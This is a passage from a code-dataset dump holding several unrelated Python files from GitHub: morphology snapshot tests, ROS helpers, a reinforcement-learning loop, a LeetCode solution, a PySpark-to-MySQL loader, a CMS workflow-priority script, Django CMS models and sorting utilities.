VMPresPl, VVPastIndReg, VVPastSubjReg, VVPP-t, VVPP-en\n               \"werden\",       # VInf-en, VAPres1SgInd, VAPres2SgInd, VAPres3SgInd, VAPres13PlInd, VAPres2PlInd, VPresSubj,\n                               # VAPastIndSg, VAPastIndPl, VPastIndIrreg, VPastSubjStr, VAImpSg, VAImpPl, VVPP-en\n               \"tun\",          # VInf-n, VAPres1SgInd, VAPres2SgInd, VAPres3SgInd, VAPres13PlInd, VAPres2PlInd, VPresSubj,\n                               # VPastIndStr, VPastSubjStr, VAImpSg, VAImpPl, VPPast\n               \"sein\"]         # VInf-n, VAPres1SgInd, VAPres2SgInd, VAPres3SgInd, VAPres13PlInd, VAPres2PlInd, VAPresSubjSg,\n                               # VAPres2SgSubj, VAPresSubjPl, VPastIndStr, VPastSubjStr, VAPastSubj2, VAImpSg, VAImpPl, VVPP-en\n\n@fixture\ndef transducer():\n    return sfst_transduce.Transducer(path.join(LIBDIR, \"dwdsmor-index.a\"))\n\n\ndef get_paradigms(transducer, lemmas, pos):\n    output = io.StringIO()\n    csv_writer = csv.writer(output, delimiter=\"\\t\", lineterminator=\"\\n\")\n\n    header_row = [\"Lemma\",\n                  \"Lemma Index\",\n                  \"Paradigm Index\",\n                  \"Categories\",\n                  \"Paradigm Categories\",\n                  \"Paradigm Forms\"]\n    csv_writer.writerow(header_row)\n\n    for lemma in sorted(set(lemmas)):\n        output_paradigms(transducer, lemma, output, pos=pos,\n                         nonst=True, old=True, oldorth=True, ch=True,\n                         no_cats=True, header=False, plain=True)\n    return output.getvalue()\n\n\ndef test_adjective_paradigm_snapshot(tsv_snapshot_test, transducer):\n    paradigms = get_paradigms(transducer, ADJECTIVE_LEMMAS, ADJECTIVE_POS)\n    assert paradigms == tsv_snapshot_test\n\n\ndef test_article_paradigm_snapshot(tsv_snapshot_test, transducer):\n    paradigms = get_paradigms(transducer, ARTICLE_LEMMAS, ARTICLE_POS)\n    assert paradigms == tsv_snapshot_test\n\n\ndef test_cardinal_paradigm_snapshot(tsv_snapshot_test, transducer):\n    paradigms = get_paradigms(transducer, CARDINAL_LEMMAS, CARDINAL_POS)\n    assert paradigms == tsv_snapshot_test\n\n\ndef test_demonstrative_pronoun_paradigm_snapshot(tsv_snapshot_test, transducer):\n    paradigms = get_paradigms(transducer, DEMONSTRATIVE_PRONOUN_LEMMAS, DEMONSTRATIVE_PRONOUN_POS)\n    assert paradigms == tsv_snapshot_test\n\n\ndef test_fraction_paradigm_snapshot(tsv_snapshot_test, transducer):\n    paradigms = get_paradigms(transducer, FRACTION_LEMMAS, FRACTION_POS)\n    assert paradigms == tsv_snapshot_test\n\n\ndef test_indefinite_pronoun_paradigm_snapshot(tsv_snapshot_test, transducer):\n    paradigms = get_paradigms(transducer, INDEFINITE_PRONOUN_LEMMAS, INDEFINITE_PRONOUN_POS)\n    assert paradigms == tsv_snapshot_test\n\n\ndef test_interrogative_pronoun_paradigm_snapshot(tsv_snapshot_test, transducer):\n    paradigms = get_paradigms(transducer, INTERROGATIVE_PRONOUN_LEMMAS, INTERROGATIVE_PRONOUN_POS)\n    assert paradigms == tsv_snapshot_test\n\n\ndef test_name_paradigm_snapshot(tsv_snapshot_test, transducer):\n    paradigms = get_paradigms(transducer, NAME_LEMMAS, NAME_POS)\n    assert paradigms == tsv_snapshot_test\n\n\ndef test_noun_paradigm_snapshot(tsv_snapshot_test, transducer):\n    paradigms = get_paradigms(transducer, NOUN_LEMMAS, NOUN_POS)\n    assert paradigms == tsv_snapshot_test\n\n\ndef test_ordinal_paradigm_snapshot(tsv_snapshot_test, transducer):\n    paradigms = get_paradigms(transducer, ORDINAL_LEMMAS, ORDINAL_POS)\n    assert paradigms == tsv_snapshot_test\n\n\ndef test_possessive_pronoun_paradigm_snapshot(tsv_snapshot_test, transducer):\n    paradigms = get_paradigms(transducer, POSSESSIVE_PRONOUN_LEMMAS, POSSESSIVE_PRONOUN_POS)\n    assert paradigms == tsv_snapshot_test\n\n\ndef test_personal_pronoun_paradigm_snapshot(tsv_snapshot_test, transducer):\n    paradigms = get_paradigms(transducer, PERSONAL_PRONOUN_LEMMAS, PERSONAL_PRONOUN_POS)\n    assert paradigms == tsv_snapshot_test\n\n\ndef test_relative_pronoun_paradigm_snapshot(tsv_snapshot_test, transducer):\n    paradigms = get_paradigms(transducer, RELATIVE_PRONOUN_LEMMAS, RELATIVE_PRONOUN_POS)\n    assert paradigms == tsv_snapshot_test\n\n\ndef test_verb_paradigm_snapshot(tsv_snapshot_test, transducer):\n    paradigms = get_paradigms(transducer, VERB_LEMMAS, VERB_POS)\n    assert paradigms == tsv_snapshot_test\n","repo_name":"zentrum-lexikographie/dwdsmor","sub_path":"test/test_paradigm_snapshot.py","file_name":"test_paradigm_snapshot.py","file_ext":"py","file_size_in_byte":16599,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"6279999477","text":"import os\nimport rospy\n\nMANIFEST_FILE = 'manifest.xml'\nPACKAGE_FILE = 'package.xml'\n\ntry:\n    from catkin_pkg.package import parse_package\n    CATKIN_SUPPORTED = True\nexcept ImportError:\n    CATKIN_SUPPORTED = False\n\nPACKAGE_CACHE = {}\n\n\ndef utf8(s, errors='replace'):\n    if isinstance(s, (str, buffer)):\n        return unicode(s, \"utf-8\", errors=errors)\n    elif not isinstance(s, unicode):\n        return unicode(str(s))\n    return s\n\n\ndef get_ros_home():\n    '''\n    Returns the ROS HOME depending on ROS distribution API.\n    @return: ROS HOME path\n    @rtype: C{str}\n    '''\n    try:\n        import rospkg.distro\n        distro = rospkg.distro.current_distro_codename()\n        if distro in ['electric', 'diamondback', 'cturtle']:\n            import roslib.rosenv\n            return roslib.rosenv.get_ros_home()\n        else:\n            from rospkg import get_ros_home\n            return get_ros_home()\n    except:\n        from roslib import rosenv\n        return rosenv.get_ros_home()\n\n\ndef masteruri_from_ros():\n    '''\n    Returns the master URI depending on ROS distribution API.\n    @return: ROS master URI\n    @rtype: C{str}\n    '''\n    try:\n        import rospkg.distro\n        distro = rospkg.distro.current_distro_codename()\n        if distro in ['electric', 'diamondback', 'cturtle']:\n            import roslib.rosenv\n            return roslib.rosenv.get_master_uri()\n        else:\n            import rosgraph\n            return rosgraph.rosenv.get_master_uri()\n    except:\n        return os.environ['ROS_MASTER_URI']\n\n\ndef get_rosparam(param, masteruri):\n    if masteruri:\n        try:\n            master = rospy.msproxy.MasterProxy(masteruri)\n            return master[param]  # MasterProxy does all the magic for us\n        except KeyError:\n            return {}\n\n\ndef delete_rosparam(param, masteruri):\n    if masteruri:\n        try:\n            master = rospy.msproxy.MasterProxy(masteruri)\n            del master[param]  # MasterProxy does all the magic for us\n        except Exception:\n            pass\n\n\ndef get_packages(path):\n    result = {}\n    if os.path.isdir(path):\n        fileList = os.listdir(path)\n        if MANIFEST_FILE in fileList:\n            return {os.path.basename(path): path}\n        if CATKIN_SUPPORTED and PACKAGE_FILE in fileList:\n            try:\n                pkg = parse_package(path)\n                return {pkg.name: path}\n            except:\n                pass\n            return {}\n        for f in fileList:\n            ret = get_packages(os.path.join(path, f))\n            result = dict(ret.items() + result.items())\n    return result\n\n\ndef resolve_paths(text):\n    '''\n    Searches in text for $(find ...) statements and replaces it by the package path.\n    @return: text with replaced statements.\n    '''\n    result = text\n    startIndex = text.find('$(')\n    if startIndex > -1:\n        endIndex = text.find(')', startIndex + 2)\n        script = text[startIndex + 2: endIndex].split()\n        if len(script) == 2 and (script[0] == 'find'):\n            pkg = ''\n            try:\n                from rospkg import RosPack\n                rp = RosPack()\n                pkg = rp.get_path(script[1])\n            except:\n                import roslib\n                pkg = roslib.packages.get_pkg_dir(script[1])\n            return result.replace(text[startIndex: endIndex + 1], pkg)\n    return result\n\n\ndef to_url(path):\n    '''\n    Searches the package name for given path and create an URL starting with pkg://\n    '''\n    result = path\n    pkg, pth = package_name(os.path.dirname(path))\n    if pkg is not None:\n        result = \"pkg://%s%s\" % (pkg, path.replace(pth, ''))\n    return result\n\n\ndef package_name(path):\n    '''\n    Returns for given directory a tuple of package name and package path or None values.\n    The results are cached!\n    @rtype: C{(name, path)}\n    '''\n    if not (path is None) and path and path != os.path.sep and os.path.isdir(path):\n        if path in PACKAGE_CACHE:\n            return PACKAGE_CACHE[path]\n        package = os.path.basename(path)\n        fileList = os.listdir(path)\n        for f in fileList:\n            if f == MANIFEST_FILE:\n                PACKAGE_CACHE[path] = (package, path)\n                return (package, path)\n            if CATKIN_SUPPORTED and f == PACKAGE_FILE:\n                try:\n                    pkg = parse_package(os.path.join(path, f))\n                    PACKAGE_CACHE[path] = (pkg.name, path)\n                    return (pkg.name, path)\n                except:\n                    return (None, None)\n        PACKAGE_CACHE[path] = package_name(os.path.dirname(path))\n        return PACKAGE_CACHE[path]\n    return (None, None)\n\n\ndef is_package(file_list):\n    return (MANIFEST_FILE in file_list or (CATKIN_SUPPORTED and PACKAGE_FILE in file_list))\n","repo_name":"GJXS1980/Graduation_Project","sub_path":"cruise/multimaster_fkie-master/node_manager_fkie/src/node_manager_fkie/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":4781,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"41473791310","text":"import gym\nimport numpy as np\nfrom rl.lib.cross_entropy.cem import CrossEntropyAgent\n\nNUM_EPISODES = 10000000000\nMAX_ITERATIONS = 10**6\nREFIT_IT = 300\n\ndef main():\n  env = gym.make('CartPole-v0')\n\n  cem_agent = CrossEntropyAgent(4, 2)\n\n  curr_rewards = []\n\n  for episode in range(1, NUM_EPISODES):\n      observation = env.reset()\n      theta = cem_agent.sample_theta()\n\n      total_rewards = 0\n\n      for iteration in range(MAX_ITERATIONS):\n          action = cem_agent.get_action(observation, theta)\n\n          observation, reward, done, info = env.step(action)\n          if done:\n              break\n          total_rewards += reward\n          \n          if done:\n              # print('Episode {}, iterations: {}'.format(\n              #     episode,\n              #     iteration\n              # ))\n              break\n\n      cem_agent.report_reward(total_rewards)\n      curr_rewards.append(total_rewards)\n      \n      if episode % REFIT_IT == 0:\n          print('Current rewards: ', np.mean(curr_rewards))\n          curr_rewards = []\n          cem_agent.refit()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"mbalunovic/rl","sub_path":"test/cem_test.py","file_name":"cem_test.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28732942592","text":"class Solution:\n    def shortestPathAllKeys(self, grid: List[str]) -> int:\n        # Solution from Discussion: BFS + MEMO (280ms: 86.44%)\n        hei, wid = len(grid), len(grid[0])\n        si = sj = state = 0\n        for i in range(hei):\n            for j in range(wid):\n                if grid[i][j] == '@':\n                    si, sj = i, j\n                if grid[i][j] in 'abcdef':\n                    state |= 1<<(ord(grid[i][j])-97)\n        queue = deque([(si, sj, 0)])\n        visited = {(si, sj, 0):True}\n        level = 0\n        while queue:\n            length = len(queue)\n            for k in range(length):\n                i, j, temp = queue.popleft()\n                if temp==state:\n                    return level\n                for ni, nj in ((i+1, j), (i-1, j), (i, j+1), (i, j-1)):\n                    if 0<=ni<hei and 0<=nj<wid and grid[ni][nj] != '#':\n                        if grid[ni][nj] in '.@':\n                            if (ni, nj, temp) not in visited:\n                                visited[(ni, nj, temp)] = True\n                                queue.append((ni, nj, temp))\n                        elif grid[ni][nj] in 'abcdef':\n                            new_temp = temp | 1<<(ord(grid[ni][nj])-97)\n                            if (ni, nj, new_temp) not in visited:\n                                visited[(ni, nj, new_temp)] = True\n                                queue.append((ni, nj, new_temp))\n                        else:\n                            if temp & 1<<(ord(grid[ni][nj])-65) != 0:\n                                if (ni, nj, temp) not in visited:\n                                    visited[(ni, nj, temp)] = True\n                                    queue.append((ni, nj, temp))\n            level += 1\n        return -1","repo_name":"Dongzi-dq394/leetcode","sub_path":"python_solution/0864.py","file_name":"0864.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10835011329","text":"# -*- codeing = utf-8 -*-\n# @Time :2022/6/27 9:00\n# @Author:Voyage\n# @File : createdata.py\n# @Software: PyCharm\n#创建数据表录入各年份各专业各学校的数据库\nimport os\n\nimport MysqlConfig\nfrom pyspark import Row\nfrom pyspark.sql import SparkSession\nimport pandas as pd\nos.environ[\"PYSPARK_PYTHON\"] = r\"C:\\Users\\61X\\miniconda3\\envs\\py36\\python.exe\"\n\nspark = SparkSession \\\n    .builder \\\n    .appName(\"Python Spark SQL basic example\") \\\n    .config(\"spark.some.config.option\", \"some-value\") \\\n    .getOrCreate()\n# sc = spark.sparkContext\n\n#将文件上传\ndf = pd.read_excel(r\"C:\\Users\\61X\\MyUniverse\\SourceCode\\PythonProjects\\practice\\intelligent-recommendations-system-of-college-choosing\\compute\\data\\DivByMajor\\2021四川理科高校分专业数据_region.xlsx\")\ndf[\"year\"]=2021 #pandas新增一列，加在最后\ncol = ['min1','max1','min_section','year']\ndf[col] = df[col].fillna(0.0)\ndf = df.replace(pd.NA,'')#空值替换\ndf = df.replace('-',0)#空值替换\n# df = df.fillna(0)\n# df = df.replace(pd.NA,'')#空值替换\ndf= df.astype(dtype={'min1':'float','max1':'float','min_section':'int','year':'int'})\n\n\ndf_spark_excel = spark.createDataFrame(df)  # 转换为spark格式\nconn_param = {}\nconn_param['user'] = MysqlConfig.MYSQL_USER\nconn_param['password'] = MysqlConfig.MYSQL_PWD\nconn_param['driver'] = MysqlConfig.MYSQL_DRIVER\ndf_spark_excel.write.jdbc(MysqlConfig.MYSQL_CONN, 'div_by_major', 'append', conn_param)##第一次用下面的overwrite之后用append\n# df_spark_excel.write.jdbc(MysqlConfig.MYSQL_CONN, 'div_by_major', 'overwrite', conn_param)\nprint(\"执行完毕\")\n","repo_name":"LoftyComet/intelligent-recommendations-system-of-college-choosing","sub_path":"compute/createdata.py","file_name":"createdata.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"10905650816","text":"#! /usr/bin/env python\nfrom __future__ import print_function\ntry:\n    import httplib\nexcept ImportError:\n    import http.client as httplib\n\nimport sys\nimport os\nimport optparse\nimport time\nimport json\n\n\ndef change_priority(url, workflow, priority, cert, key, retry):\n    data = {'RequestPriority': priority}\n    headers = {'Content-type': 'application/json',\n               'Accept': 'application/json'}\n\n    for _ in range(retry):\n        conn = httplib.HTTPSConnection(url, cert_file=cert, key_file=key)\n        conn.request('PUT', '/reqmgr2/data/request/%s' % workflow, json.dumps(data), headers)\n        response = conn.getresponse()\n        status, res = response.status, response.read()\n        conn.close()\n        if status == 200:\n            return json.loads(res).get('result', [])[0].get(workflow, '').lower() == 'ok'\n\n        print('Status: %s, response: %s' % (status, res))\n        time.sleep(1)\n\n    return False\n\n\ndef main():\n    parser = optparse.OptionParser()\n    parser.add_option('-u', '--url',\n                      help='Base url to send request to',\n                      dest='url',\n                      default='cmsweb.cern.ch')\n    parser.add_option('-c', '--cert',\n                      help='Cert file location',\n                      dest='cert',\n                      default=os.getenv('X509_USER_PROXY'))\n    parser.add_option('-k', '--key',\n                      help='Key file location',\n                      dest='key',\n                      default=os.getenv('X509_USER_PROXY'))\n    parser.add_option('-r', '--retry',\n                      help='Number of retries',\n                      dest='retry',\n                      default=1)\n    options, args = parser.parse_args()\n    if len(args) < 2:\n        print('usage: wmpriority.py <workflowname> <priority> [options]')\n        sys.exit(1)\n\n    workflow = args[0]\n    priority = int(args[1])\n    res = change_priority(options.url, workflow, priority, options.cert, options.key, options.retry)\n    print('%s: %s' % (workflow, res))\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"cms-AlCaDB/FullTrackValidation","sub_path":"wmpriority.py","file_name":"wmpriority.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"39312284850","text":"from django.db import models\nfrom django import forms\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.contrib.sites.models import Site\nfrom django.contrib.sites.managers import CurrentSiteManager\nfrom django.utils.timezone import now\nfrom django.contrib.admin.models import LogEntry\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.template.defaultfilters import slugify\nfrom django.utils.safestring import mark_safe\n\nfrom mptt.models import MPTTModel, TreeForeignKey\nfrom mptt.managers import TreeManager\n\nfrom hvad.models import TranslatableModel, TranslatedFields\nfrom hvad.manager import TranslationManager\n\nfrom .managers import BaseManager, PublishableManager\nfrom .utils.noconflict import classmaker\nfrom .utils.urls import is_absolute_url, get_menu_absolute_url\nfrom .fields import SlugURLField, OrderField\n\n\nclass History(models.Model):\n\tdef get_history(self):\n\t\tlst = []\t\t\n\t\ttry:\n\t\t\tlst = LogEntry.objects.filter(content_type=ContentType.objects.get_for_model(self).id, object_id=self.pk)\n\t\texcept:\n\t\t\tpass\n\t\treturn lst\n\n\tdef get_creation(self):\n\t\tlst = self.get_history().order_by('action_time')\n\t\treturn lst[0] if len(lst) > 0 else None\n\n\tdef get_lastchange(self):\n\t\tlst = self.get_history()\n\t\treturn lst.latest('action_time') if len(lst) > 0 else None\n\n\tdef _get_creation_date(self):\n\t\tl = self.get_creation()\n\t\treturn l.action_time if l is not None else None\n\tcreation_date = property(_get_creation_date)\n\n\tdef _get_creation_user(self):\n\t\tl = self.get_creation()\n\t\treturn l.user if l is not None else None\n\tcreation_user = property(_get_creation_user)\n\n\tdef _get_lastchange_date(self):\n\t\tl = self.get_lastchange()\n\t\treturn l.action_time if l is not None else None\n\tlastchange_date = property(_get_lastchange_date)\n\n\tdef _get_lastchange_user(self):\n\t\tl = self.get_lastchange()\n\t\treturn l.user if l is not None else None\n\tlastchange_user = property(_get_lastchange_user)\n\n\tclass Meta:\n\t\tabstract = True\n\n\nclass SiteRelated(History):\n\t\"\"\"\n\tAbstract model for all things site-related. Adds a foreignkey to\n\tDjango's ``Site`` model, and filters by site with all querysets.\n\t\"\"\"\n\n\tsites = models.ManyToManyField(Site, db_index=True)\n\n\tobjects = models.Manager()\n\ton_site = CurrentSiteManager()\n\n\tclass Meta:\n\t\tabstract = True\n\n\tdef save(self, update_site=False, *args, **kwargs):\n\t\t\"\"\"\n\t\tSet the site to the current site when the record is first\n\t\tcreated, or the ``update_site`` argument is explicitly set\n\t\tto ``True``.\n\t\t\"\"\"\n\t\tif update_site or not self.id:\n\t\t\tsuper(SiteRelated, self).save(*args, **kwargs)\n\t\t\tcurrent_site = Site.objects.get_current()\n\t\t\tself.sites.add(current_site)\n\t\tsuper(SiteRelated, self).save(*args, **kwargs)\n\n\nclass Orderable(models.Model):\n\torder = OrderField(verbose_name='', db_index=True, default=0, blank=True)\n\n\tclass Meta:\n\t\tabstract = True\n\t\tordering = ['order',]\n\n\nclass OrderableMPTTM(Orderable):\n\n\tobjects = TreeManager()\n\n\tclass Meta:\n\t\tabstract = True\n\t\t\n\tclass MPTTMeta:\n\t\torder_insertion_by = ['order',]\n\n\nclass Publishable(SiteRelated):\n\t\"\"\"\n\tAbstract model that provides features of a visible content on the\n\twebsite such as publishing fields.\n\t\"\"\"\n\n\tstatus = models.IntegerField(_('status'),\n\t\tchoices=PublishableManager.STATUS_CHOICES, default=PublishableManager.STATUS_DRAFT,\n\t\thelp_text=_(\"With Draft chosen, will only be shown for admin users on the site.\"), \n\t\tdb_index=True)\n\tpublish_date = models.DateTimeField(_('Published from'),\n\t\thelp_text=_(\"With Published chosen, won't be shown until this time\"),\n\t\tblank=True, null=True)\n\texpiry_date = models.DateTimeField(_('Expires on'),\n\t\thelp_text=_(\"With Published chosen, won't be shown after this time\"),\n\t\tblank=True, null=True)\n\n\tobjects = PublishableManager()\n\n\tclass Meta:\n\t\tabstract = True\n\n\tdef save(self, *args, **kwargs):\n\t\tif self.publish_date is None:\n\t\t\tself.publish_date = now()\n\t\tsuper(Publishable, self).save(*args, **kwargs)\n\n\nclass Promotable(Publishable):\n\tpromoted = models.BooleanField(_('promoted'), default=False)\n\n\tclass Meta:\n\t\tabstract = True\n\n\n\nclass MultilingualTreeManager(TreeManager, PublishableManager):\n\tpass\n\n\nclass TranslatableMPTTModel(TranslatableModel, MPTTModel):\n\t__metaclass__ = classmaker()\n\n\tobjects = MultilingualTreeManager()\n\n\tclass Meta:\n\t\tabstract = True\n\n\nclass Menu(TranslatableMPTTModel, Publishable, OrderableMPTTM):\n\tname = models.CharField(_('name'), max_length=200)\n\tslug = SlugURLField(verbose_name=_('slug'), max_length=200, null=True, blank=True,\n\t\thelp_text=_(\"This field is changed automatically by changing the name field. If you change the type to 'Redirect' you can put a relative or absolute URL.\"))\n\turl = models.CharField(verbose_name=_('url'), max_length=200, editable=False, db_index=True,\n\t\thelp_text=_(\"This field is changed automatically. Make sure that you know what you're doing by changing this field.\"))\n\tparent = TreeForeignKey('self', verbose_name=_('parent menu'), related_name='children', null=True, blank=True)\t\n\t\n\tTYPE_HIDDEN = 0\n\tTYPE_PAGE = 1\n\tTYPE_DYNAMIC = 2\n\tTYPE_LIST = 3\n\tTYPE_REDIRECT = 4\n\tTYPE_CHOICES = (\n\t\t(TYPE_PAGE, _(\"Page\")),\n\t\t(TYPE_DYNAMIC, _(\"Dynamic\")),\n\t\t(TYPE_LIST, _(\"List\")),\n\t\t(TYPE_HIDDEN, _(\"Hidden\")),\n\t\t(TYPE_REDIRECT, _(\"Redirect\")),\n\t)\n\ttype = models.IntegerField(_('type'), choices=TYPE_CHOICES, default=TYPE_PAGE)\n\tkeyword = models.CharField(_('identifier'), max_length=20, null=True, blank=True,\n\t\thelp_text=_(\"This field is used to identify a menu with an unique identifier. Make sure that you know what you're doing by changing this field.\"))\n\n\ttranslations = TranslatedFields(\n\t\ttitle = models.CharField(_('title'), max_length=80),\n\t\tdescription = models.TextField(_('description'), max_length=200, blank=True)\n\t)\n\n\tdef type_image(self):\n\t\treturn '<div class=\"blocks-icon blocks-type-%s\" title=\"%s\"></div>' % (self.get_type_display().lower(), self.get_type_display())\n\ttype_image.allow_tags = True\n\ttype_image.short_description = 'type'\n\n\tdef short_title(self):\n\t    return self.name\n\n\tdef title_with_spacer(self, spacer=u'. . . '):\n\t\treturn (spacer * self.level) + u' ' + self.name\n\n\tdef get_menus(self):\n\t\treturn self.get_children().exclude(type=Menu.TYPE_HIDDEN).order_by('lft')\n\n\tdef get_page(self):\n\t\tp = None\n\t\ttry:\n\t\t\tp = Page.objects.published().get(menu__exact=self.url, is_relative=False)\n\t\texcept Page.DoesNotExist:\n\t\t\tpass\n\t\treturn p\n\n\tdef get_pages(self):\n\t\treturn Page.objects.published().filter(menu__exact=self.url, is_relative=True).order_by('order')\n\n\tdef has_pages(self):\n\t\treturn self.get_pages().count() > 0\n\n\tdef has_children(self):\n\t\treturn self.get_menus().count() > 0\n\n\tdef has_children_or_pages(self):\n\t\treturn self.has_children() or self.has_pages()\n\n\tdef has_promotables(self):\n\t\treturn self.get_promotables().count() > 0\n\n\tdef get_promotables(self):\n\t\t#leafs = list(self.get_leafnodes().values_list('url', flat=True)) + \\\n\t\t#\t\tlist(self.get_children().values_list('url', flat=True)) + \\\n\t\t#\t\t[self.url,]\n\t\t#return Page.objects.filter(promoted=True, menu__in=leafs)\n\t\treturn Page.objects.filter(promoted=True, menu__startswith=self.url)\n\n\n\tclass Meta(MPTTModel.Meta):\n\t\tverbose_name = _('menu')\n\t\tverbose_name_plural = _('menus')\n\n\t@staticmethod\n\tdef fix_url(menu):\n\t\tif not is_absolute_url(menu.slug) and not menu.type == Menu.TYPE_REDIRECT:\n\t\t\tmenu.url = '/'\n\t\t\tif menu.parent:\n\t\t\t\tmenu.url += menu.parent.url[1:]\n\t\t\tif menu.slug:\n\t\t\t\tmenu.url += menu.slug + '/'\n\n\t\telse:\n\t\t\tmenu.url = menu.slug\t\t\n\n\tdef save(self, force_insert=False, force_update=False):\n\t\told_url = self.url\n\n\t\tMenu.fix_url(self)\n\n\t\tsuper(Menu, self).save(force_insert, force_update)\n\t\tMenu.objects.rebuild()\n\n\t\tif self.url != old_url:\n\t\t\t# fix menus\n\t\t\ttry:\n\t\t\t\tqs = Menu.objects.filter(parent=self)\n\t\t\t\tfor m in qs:\n\t\t\t\t\tMenu.fix_url(m)\n\t\t\t\t\tm.save()\n\t\t\texcept Menu.DoesNotExist:\n\t\t\t\tpass\n\n\t\t\tif self.type != Menu.TYPE_REDIRECT:\n\t\t\t\t# fix pages\n\t\t\t\ttry:\n\t\t\t\t\tqs = Page.objects.filter(menu=old_url)\n\t\t\t\t\tfor p in qs:\n\t\t\t\t\t\tp.menu = self.url\n\t\t\t\t\t\tp.url = Page.get_url(self.url, p.is_relative, p.name)\n\t\t\t\t\t\tp.save()\n\t\t\t\texcept Page.DoesNotExist:\n\t\t\t\t\tpass\n\n\tdef __unicode__(self):\n\t\treturn u'%s' % self.name\n\n\t#@models.permalink\n\tdef get_absolute_url(self):\n\t\treturn get_menu_absolute_url(self.url)\n\n\nclass Template(History):\n\tname = models.CharField(_('name'), max_length=80)\n\ttemplate = models.CharField(_('template'), max_length=200)\n\n\tdef __init__(self, *args, **kwargs):\t\t\n\t\tsuper(Template, self).__init__(*args, **kwargs)\n\t\tself.old_template = self.template\n\n\tdef save(self, force_insert=False, force_update=False):\n\t\tsuper(Template, self).save(force_insert, force_update)\n\t\tif self.template != self.old_template:\n\t\t\ttry:\n\t\t\t\tqs = Page.objects.filter(template_name=self.old_template)\n\t\t\t\tfor p in qs:\n\t\t\t\t\tp.template_name = self.template\n\t\t\t\t\tp.save()\n\t\t\texcept Page.DoesNotExist:\n\t\t\t\tpass\n\n\tdef __unicode__(self):\n\t\treturn '%s' % self.name\n\n\tdef __str__(self):\n\t\treturn '%s' % self.name\n\n\nclass Page(TranslatableModel, Promotable, Orderable):\n\tname = models.CharField(_('name'), max_length=200)\n\tmenu = models.CharField(_('url'), max_length=200)\n\turl = models.CharField(verbose_name=_('url'), max_length=200, unique=True, editable=False, db_index=True)\n\ttemplate_name = models.CharField(_('template name'), max_length=70, blank=True)\n\tis_relative = models.BooleanField(_('relative'),\n\t\thelp_text=_(\"If a page is relative then the page slug (normalized name) is appended to the url.\"))\n\n\tkeyword = models.CharField(_('identifier'), max_length=20, null=True, blank=True,\n\t\thelp_text=_(\"This field is used to identify a page with an unique identifier. Make sure that you know what you're doing by changing this field.\"))\n\n\ttranslations = TranslatedFields(\n\t\ttitle = models.CharField(_('title'), max_length=200),\n\t\tcontent = models.TextField(_('content'), blank=True)\n\t)\n\n\tobjects = PublishableManager()\n\n\tclass Meta:\n\t\tordering = ['url', 'order', 'name']\n\n\tdef get_type_display(self):\n\t\tif self.is_relative:\n\t\t\treturn 'Relative'\n\t\telse:\n\t\t\treturn 'Index'\n\n\tdef type_image(self):\n\t\treturn '<div class=\"blocks-icon blocks-page-%s\" title=\"%s\"></div>' % (self.get_type_display().lower(), self.get_type_display())\n\ttype_image.allow_tags = True\n\ttype_image.short_description = 'type'\n\n\t@staticmethod\n\tdef get_url(menu, is_relative, name):\n\t\turl = menu\n\t\tif is_relative:\n\t\t\turl += slugify(name) + '/'\n\t\treturn url\n\n\tdef save(self, force_insert=False, force_update=False):\n\t\tself.url = Page.get_url(self.menu, self.is_relative, self.name)\n\t\tsuper(Page, self).save(force_insert, force_update)\n\n\tdef __unicode__(self):\n\t\treturn u'%s -- %s' % (self.url, self.name)\n\t\t\n\tdef __str__(self):\n\t\treturn \"%s -- %s\" % (self.url, self.name)\n\n\t@models.permalink\n\tdef get_absolute_url(self):\n\t\treturn ('blocks_page', (), {'url': self.url[1:] })\n\n\t@property\n\tdef lead(self):\n\t\tpos = self.content.find('</p>')\n\t\tif pos != -1:\n\t\t\treturn mark_safe(self.content[:pos + 4])\n\t\treturn mark_safe(self.content)\n\n\t@property\n\tdef body(self):\n\t\tpos = self.content.find('</p>')\n\t\tif pos != -1:\n\t\t\treturn mark_safe(self.content[pos + 4:])\n\t\treturn ''\n\n\tdef get_image(self):\n\t\tif self.has_images():\n\t\t\treturn self.images.all()[:1].get()\n\t\treturn None\n\n\tdef has_images(self):\n\t\treturn hasattr(self, 'images') and self.images.count() > 0\n","repo_name":"kimus/django-blocks","sub_path":"blocks/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":11170,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"34577944060","text":"import numpy\r\n\r\n\r\n#sort an input list using quicksort; returns both sorted list and corresponding indexes\r\n#input list must be formed by binary lists\r\ndef efficient_list_sorting(input_list):\r\n\r\n    #sort list\r\n    indexes = numpy.argsort(input_list);\r\n\r\n    sorted_int_list = [];\r\n\r\n    for i in indexes:\r\n        sorted_int_list.append(input_list[i]);\r\n\r\n\r\n    return indexes, sorted_int_list;\r\n\r\n\r\n# Python 3 program for recursive binary search.\r\n# Modifications needed for the older Python 2 are found in comments.\r\n \r\n# Returns index of x in arr if present, else -1\r\ndef dicotomic_search(arr, low, high, x):\r\n \r\n    # Check base case\r\n    if high >= low:\r\n \r\n        mid = (high + low) // 2\r\n \r\n        # If element is present at the middle itself\r\n        if arr[mid] == x:\r\n            return mid\r\n \r\n        # If element is smaller than mid, then it can only\r\n        # be present in left subarray\r\n        elif arr[mid] > x:\r\n            return dicotomic_search(arr, low, mid - 1, x)\r\n \r\n        # Else the element can only be present in right subarray\r\n        else:\r\n            return dicotomic_search(arr, mid + 1, high, x)\r\n \r\n    else:\r\n        # Element is not present in the array\r\n        return -1\r\n\r\n\r\ndef hello_world():\r\n\r\n    print(\"ciao\");\r\n\r\n    return 